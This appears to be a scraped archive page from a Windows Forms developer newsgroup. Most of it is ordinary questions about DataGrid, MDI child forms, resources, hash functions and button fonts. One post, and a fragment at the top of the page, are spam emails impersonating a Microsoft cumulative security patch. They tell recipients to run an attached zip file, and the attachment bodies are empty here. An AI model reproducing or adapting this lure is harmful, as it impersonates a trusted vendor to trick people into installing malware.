</TABLE> </BODY> </HTML> --kcapwvyymumootd-- --gamyzwpwafnzgosvb Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <taincvu> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31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QAjcIjBTSAgYwAySADOB4 iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7 --gamyzwpwafnzgosvb Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <pjzhjxj> R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --gamyzwpwafnzgosvb-- --dspgtqbmb Content-Type: application/x-compressed; name="Pack.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --dspgtqbmb-- Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60659
      • 14
        • Resource problems Hi all, I am writing a winforms application, and whenever I set the icon for the main form, I get the following exception message (A MissingManifestResourceException) on running it: Could not find any resources appropriate for the specified culture (or the neutral culture) in the given assembly. Make sure "ScoreSheet.resources" was correctly embedded or linked into assembly "PMDLScorereTest". baseName: ScoreSheet locationInfo: PMDLScorereTest.ScoreSheet resource file name: ScoreSheet.resources assembly: PMDLScorereTest, Version=1.0.1405.29676, Culture=neutral, PublicKeyToken=null I don't understand what is going on here. The .resx file has a base64 encoding for this.icon. As far as I can remember, i havn't changed any culture settings. Does anyone know what the problem is here? As a note, this is the app.ico file that VStudio generates in a new project. Thanks for the help Adam Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60658
      • 15
        • DataGridCell.GetHashCode() is a very bad hash function This is the hash function used by DataGridCell: public override int GetHashCode() { return (((~this.rowNumber * (this.columnNumber + 1)) & 0xffffff00) >> 8); } I tested this hash function over 1000x1000 cells, and found only 4000 distinct hash values were generated. A good hash function should have generated just under 1e6 distinct hash values. Also, for small values of rowNumber and columnNumber (roughly, where rowNumber*columnNumber < 256), GetHashCode() always returns the same value, 65535. I think the intention is for this hash function to operate akin to the mid-square hash function of Knuth, but in practice, the result is pretty bad. All in all, this is a terrible hash function. In fact, the treatment of hash functions throughout the MS libraries is generally pretty bad. Object.GetHashCode() returns object identity, a number that increments by one for each object allocated. If you allocate a series of objects, the difference between two successive hashcodes will be 1. Throughout the examples in the MSDN docs, combining hashcodes is inevitably shown as a.GetHashCode() ^ b.GetHashCode(). Given that objects allocated close together in time will have hashcodes close together, this is a very bad way of combining hash codes. If youre going to use an object or struct as a key, except for strings, you should always define your own GetHashCode(). A quick and dirty way to define your own GetHashCode() is to multiply the system GetHashCode() by a large, odd, and preferably prime, number. class HashRand { private static readonly Random _rand = new Random(); public static int Next() { return HashRand._rand.Next() | 0x00010001; } } class Key { private static readonly int _hashmul = HashRand.Next(); public override GetHashCode() { return base.GetHashCode() * Key._hashmul; } } struct Key2 { private static readonly int _hashmul1 = HashRand.Next(); private static readonly int _hashmul2 = HashRand.Next(); int x, y; public override GetHashCode() { return x * Key2._hashmul1 + y * Key2._hashmul2; } } Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60657
      • 16
        • A very good DYNAMIC sizing routine for DataGrids if you want it It literally requires only one line of code to attach it to any existing Winform DataGrid, you can give it percentages like the ASP.NET data grid and minimum column widths, the default of course is to size all columns equally, it's very cool and the columns always take up the full client rect of your grid making it look very professional. I can't believe I had to write this. Email me at dearpolycarp @ hotmail.com ... Put DATAGRID in the subject. I'll send you a tiny little sample with the source code, use it at will. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60656
      • 17
        • Datagrid and scrolling My question concerns navigation with the DataGrid on my Windows Form. Private Sub btnNext_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnNext.Click ' Move to the next record NextRecord() ' Highlight the entire row for user feedback. grdXNew.Select(grdXNew.CurrentCell.RowNumber) End Sub ' Move the BindingContext Position to the next record. Public Sub NextRecord() ' The position of the binding context controls the "current record" Me.BindingContext(dtXNew).Position += 1 End Sub The code seems to work fine, except that after GrdXNew.Select is fired, the Datagrid scrolls back to the first record. The row that was navigated to is selected, but if it is not within the bounds of the grid, the row is not viewable. The user would then have to scroll the Datagrid to see what row is highlighted. It appears the behavior is that the grid always scrolls to the top after a selection is made programmatically. My question is: Is there a way to maintain the highlighted row in the viewable area of the grid? Thank you in advance. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60644
      • 18
        • Simulating Longhorn Sidebar Hi, Is there a component available to simulate Longhorn style Sidebar on Windows XP ? Or is there a sample application somewhere to show how to do that ? Thanks in advance and regards Navin Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60642
      • 19
        • Problem when changing button font at runtime I create a simple Windows Forms application and drop a simple button on the form with the designer. I define the Text of the button (i.e. "Button test") and I set the button width so I have plenty of space to display the text (i.e. 120). Then I add the following code in the button's click handler. private void button1_Click(object sender, System.EventArgs e) { button1.Font = new Font(FontFamily.GenericSansSerif, 10, FontStyle.Bold); } When I click the button, the button's text is displayed with the new Font but the last letter (t) is truncated and not displayed properly. I can't isolate exactly the conditions in which this behavior is produced but the above conditions produce the bug. The complete code is below. Any ideas on this? A bug in the button code? Any way to avoid this? Olivier --- using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; namespace WindowsApplication1 { /// <summary> /// Summary description for Form1. /// </summary> public class Form1 : System.Windows.Forms.Form { private System.Windows.Forms.Button button1; /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.Container components = null; public Form1() { // // Required for Windows Form Designer support // InitializeComponent(); // // TODO: Add any constructor code after InitializeComponent call // } /// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose( bool disposing ) { if( disposing ) { if (components != null) { components.Dispose(); } } base.Dispose( disposing ); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.button1 = new System.Windows.Forms.Button(); this.SuspendLayout(); // // button1 // this.button1.Location = new System.Drawing.Point(16, 24); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(120, 24); this.button1.TabIndex = 7; this.button1.Text = "Button test"; this.button1.Click += new System.EventHandler(this.button1_Click); // // Form1 // this.AutoScaleBaseSize = new System.Drawing.Size(5, 13); this.ClientSize = new System.Drawing.Size(216, 110); this.Controls.Add(this.button1); this.Name = "Form1"; this.Text = "Form1"; this.ResumeLayout(false); } #endregion /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { Application.Run(new Form1()); } private void button1_Click(object sender, System.EventArgs e) { button1.Font = new Font(FontFamily.GenericSansSerif, 10, FontStyle.Bold); } } } Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60639
      • 20
        • I need Microsoft.Web.Services Dll (Hell) Hello All, I am wanting to get a dll called Microsoft.Web.Services. Can someone email me the dll? or send me the url to get to it? I down loaded WSE10SP1.exe, but I still don't have the dll. Any help would be appreciated! Ken Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60638
      • 21
        • FW: Look at this correction update for MS Windows --ezgaappavu Content-Type: multipart/related; boundary="hsamuxwokirrmqf"; type="multipart/alternative" --hsamuxwokirrmqf Content-Type: multipart/alternative; boundary="fipuoiugg" --fipuoiugg Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Consumer this is the latest version of security update, the "November 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help protect your computer from these vulnerabilities, the most serious of which could allow an malicious user to run code on your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. ---------------------------------------------- The names of the actual companies and products mentioned = herein are the trademarks of their respective owners. --fipuoiugg Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">&nbsp; <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>&nbsp; </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>&nbsp;&nbsp;</B> </FONT> </TD> </TR> </TABLE> &nbsp;<IMG SRC=3D"cid:goclsai" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Consumer<BR><BR> this is the latest version of security update, the "November 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help protect your computer from these vulnerabilities, the most serious of which could allow an malicious user to run code on your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:acjcxuu" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:acjcxuu" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:acjcxuu" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:acjcxuu" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:acjcxuu" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> &copy;2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A> &nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A>&nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> </TABLE> </BODY> </HTML> --fipuoiugg-- --hsamuxwokirrmqf Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <goclsai> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk 3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim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AvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7 --hsamuxwokirrmqf Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <acjcxuu> R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --hsamuxwokirrmqf-- --ezgaappavu Content-Type: application/x-compressed; name="Q567826.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --ezgaappavu-- Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60637
      • 22
        • Databindings get lost on change? I'm seeing a situation where a textBox value looses its databinding if the value of the textBox is manually changed. Is this supposed to happen or a bug? To recreate: create a simple dataset Create a new form and add dataset and textBox and button bind the textBoxt.Text property to a column in the dataset NOTE: The dataset is not used in conjunction with any other database objects In the constructor of the form, add code to add a row to the dataset. In the button, change the value of the cell in the dataset Run app and press button. notice the value appropriately is displayed automatically in the testbox on the form. change the value of the textbox directly now notice pressing the button does not update the textbox any longer. Thanks Bill Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60632
      • 23
        • Checked List Box Hi All, I am working with the checked list box control in VB.NET. I am displaying the names of the employees (display member) in the list box and storing id as value member. Now i want to get all the employees how have been selected (checked=true) from the checked list box. So I want the ID of all the employees selected from the list box. Any help would be appreciated Thanks *** Sent via Developersdex http://www.developersdex.com *** Don't just participate in USENET...get rewarded for it! Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60630
      • 24
        • MDI Child Form Problem Hey guys, maybe someone can help me with some MDI issues I have. A co-worker asked me a very simple question, one that I blew off as trivial, and it has become a time-consuming issue. Simply put, there is an MDIForm and a child form. The MDIForm does the usual from within its constructor... this.IsMdiContainer = true; Form2 frm = new Form2(); frm.MdiParent = this; frm.Show(); Okay, so nothing special there. The child form then has a combobox on it. The question was, how do I get my child form to close if I pick a particular item from the combobox. Or, to make it easier, close the child form when the item selection changes in the combobox. So the following is in the child form... private void comboBox1_SelectedIndexChanged(object sender, System.EventArgs e) { this.Close(); } Unfortunately this throws an exception indicating that the combobox has already disposed itself and a null-reference exception is raised. So I suggested the following... private void comboBox1_SelectedIndexChanged(object sender, System.EventArgs e) { this.Dispose(false); } This gets rid of the exception, but the child form is really not disposed, even though visually it looks like it has gone away. It can be made to come back sporadically by clicking inside the MDI parent form. Using a true argument in the Dispose yields the same null pointer exception. So with that, my understanding of forms went down the tubes, along with my understanding of how the GC works and how correct implementations of IDisposable work. Can someone comment on how to get an MDI child form to close itself (i.e. commit suicide)? Closing the child from a menu or toolbar on the parent form is not a problem. Thanks in advance. MD Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60628
      • 25
        • newbie question - is it possible to have combox in a datagrid TIA Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60626
    • Next
      • 1
        • Datagrid question Using VS 2003, VB.NET, sql msde... This is really a question about a winform datagridcontrol (if there is a better newsgroup for these winform datagridcontrol questions, let me know). A parent/child relationship exists. When you click the + next to the parent row, the relationship name "Display Details" appears. You then click that, and everything previously FILLed to the child DataSet table displays. All works as expected. My question are: 1) Is there an event triggered by clicking on "Display Details" so you could dynamically FILL the child table at that point, instead of having to fill it prior it "Display Details" being click? If not an event, any other way to do it? 2) Since the child table in the DataSet is held in memory, should I be worried about how large it might get? Can it get to large or does Windows XP/.NET still handle it appropriately regardless of its size? In my case, the child could get quite large, constantly being added to by the program automatically (which is the main reason I would like to load it when needed via #1 above). Thanks! Bob Day Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60624
      • 2
        • Loop through MDI chlids How do I loop through all opened child forms of a MDI parent, and how do I check weather the child form is of a specific type or not. /Steffo Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60622
      • 3
        • where is dotnet.framework.windowsforms.design? It was here yesterday now its gone from the web interface. Is it ever comming back? Is it still a managed workgroup? Nick Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60620
      • 4
        • Splitter max move to right Hello, is there a method to limit "splitter's" ability to move right or left based on the size of the free space (panel) left on the appropriate side? Ondra. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60616
      • 5
        • BUG: HScroll has 2 diff behaviours on scroll events Hi, When I process a HScroll scroll event I get one event fired for a increase value using the > button. When I make a User control with a HScroll on it and catch the message and forward my own, I get two events fired yet I send one. I get a SmallIncrement and then a EndScroll e.Type. Why the difference in events, its confusing. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60615
      • 6
        • Panel (container) added after member controls Hello, I would like to add now (after some controls already added) new "panel". When I add the panel to the form, I want to move previously added controls to be managed (anchored, padded) to the panel, but they are still related to the base form, where they were created at first. How to move them to the panel? Ondra. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60614
      • 7
        • Bug in PrinterSetting ??? Hi Using the PrinterSettings class I want to get the No. Of copies of the document to be printed. But it is always giving 1 as the copies to be printed. I am using following code dgPrintDialog.PrinterSettings.Copies = 2 dgPrintDialog.ShowDialog() NoOfCopies= dgPrintDialog.PrinterSettings.Copies What is wrong with this code. Most of the people have raised the same issue and told that this is bug. If it is a bug is there any way to get the NoOf copies? Need Help Nanda Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60613
      • 8
        • Problem with UITypeEditor Hello to everybody.I make a class that inherits from UITypeEditor to customizing the view of the value of an image in a PropertyGrid.I have a problem when I want to cancel the image selected (hitting the Canc button).In fact when I hit Canc button the application throws an error. Anyone know how to intercept the pression of a button directly in my custom UITypeEditor class. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60608
      • 9
        • showdesktop Hi all, I want to minimise all other windows (like show desktop) and show only my applcation.How do i go about Regards, ... Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60605
      • 10
        • Urgent~~ Datagrid Error This is a multi-part message in MIME format. ------=_NextPart_000_16BD_01C3A48D.CAF677C0 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable HI ALL, Here I have a question on the datagrid... I would like to change the = column header so i have written the following code to change column = header text when current cell has been changed. But I found a situation = will cause the grid error when the focus is on the last (add new) row = and then click on any other controls will raise an error. A BIG RED = CROSS will then be shown on the datagrid instead of all block of cells. Does anyone know why the following code will cause the error??... Notes = that if the .Refresh() statement is remarked.. the error never happens.. = but the column header text will not update unless the last (add new) row = is selected. It will make the column header text changed base on the = last selected row before the last (add new) row is selected. With CType(objDataGrid, DataGrid) If = objTable.Rows(.CurrentCell.RowNumber).Item("SizeType") <> "" Then objRow =3D = objTable.Rows.Find(.Item(.CurrentCell.RowNumber, 0)) objCaption =3D = objSizeTable.Items(objRow.Item("SizeType")) For Index =3D 1 To 17 = .TableStyles(strTableName).GridColumnStyles(Index).HeaderText =3D = objCaption.Items(Index).Description Next Index ' .Refresh() End If End With I have been suffering in this error for a few weeks but I still have no = one can answer my question. Please give me a hand. Thanks............. Ivan ------=_NextPart_000_16BD_01C3A48D.CAF677C0 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=3DContent-Type content=3D"text/html; charset=3Dbig5"> <META content=3D"MSHTML 6.00.2800.1264" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>HI ALL,</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>Here I have a question on the = datagrid... I would=20 like to change the column header so i have written the following code to = change=20 column header text when current cell has been changed. But I found a = situation=20 will cause the grid error when the focus is on the last (add new) row = and then=20 click on any other controls will raise an error.&nbsp; A BIG RED CROSS = will then=20 be shown on the datagrid instead of all block of cells.</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>Does anyone know why the following code = will cause=20 the error??... Notes that if the .Refresh() statement is remarked.. the = error=20 never happens.. but the column header text will not update unless the = last (add=20 new) row is selected.&nbsp; It will make the column header text changed = base on=20 the last selected row before the last (add new) row is = selected.</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20 &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; With = CType(objDataGrid,=20 DataGrid)</FONT></DIV> <DIV><FONT face=3DArial=20 size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp= ;=20 If objTable.Rows(.CurrentCell.RowNumber).Item("SizeType") &lt;&gt; ""=20 Then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp= ;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= &nbsp;&nbsp;&nbsp;&nbsp;=20 objRow =3D objTable.Rows.Find(.Item(.CurrentCell.RowNumber,=20 0))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&= nbsp;&nbsp;&nbsp;&nbsp;=20 objCaption =3D=20 objSizeTable.Items(objRow.Item("SizeType"))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&n= bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb= sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 For Index =3D 1 To=20 17<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&= nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n= bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 .TableStyles(strTableName).GridColumnStyles(Index).HeaderText=20 =3D&nbsp;objCaption.Items(Index).Description<BR>&nbsp;&nbsp;&nbsp;&nbsp;&= nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n= bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 Next=20 Index<BR>'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb= sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;&nbsp;&nbsp;&nbsp;.Refresh()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb= sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 End If</FONT></DIV> <DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20 &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; End = With</FONT></DIV> <DIV><FONT face=3DArial 